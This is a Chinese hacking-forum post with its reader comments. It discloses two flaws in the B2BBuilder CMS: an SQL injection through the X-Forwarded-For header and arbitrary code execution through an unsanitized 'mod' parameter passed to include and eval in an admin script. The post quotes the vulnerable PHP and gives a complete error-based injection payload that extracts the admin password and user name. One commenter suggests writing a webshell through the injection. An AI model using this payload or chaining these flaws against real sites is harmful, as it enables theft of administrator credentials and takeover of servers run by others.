【我爱T00LS】B2BBuilder头注入后台任意代码执行
看到小伙伴们都在B2Bbuilder 我也凑个热闹
0x1 头注入
Include/function.php
function getip()
{
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$realip = $_SERVER['HTTP_CLIENT_IP'];
} else {
$realip = $_SERVER['REMOTE_ADDR'];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")) {
$realip = getenv( "HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
return $realip;
}
构造头部测试:
x-forwarded-for:' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,user,0x27,0x7e) from b2bbuilder_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
0x2后台任意代码执行:admin/module_translations.php
if(empty($_POST))
{
$refer_lang = $_GET['code'] =='en'?'cn':'en'; //基本参照语言
$l = $rl = array();echo "start";
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php');//got milk
@eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';');
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php');
@eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';');//got milk
评论31次
看数据库权限
是
http头注入 应该可以直接oufile出来一个shell吧
请问B2Bbuilder不是开源的。怎么看源码的?
87v5 a ....
最近吐司又火起来了。
。。。。最近怎么这么多。。
LZ 什么浏览器
6楼也挺威武的
学到了 楼主
很霸道在外边出差没法保存
遇过到过此CMS,,不过,, 呵呵,,然后就没了,
威武。~学xi。
lz威武,这个得收藏
V587+1,撸得一手好代码!
V587........................
代码执行,V587
HTTP 头部
关于头注入,实在登录页面还是??
这个强大~!!!!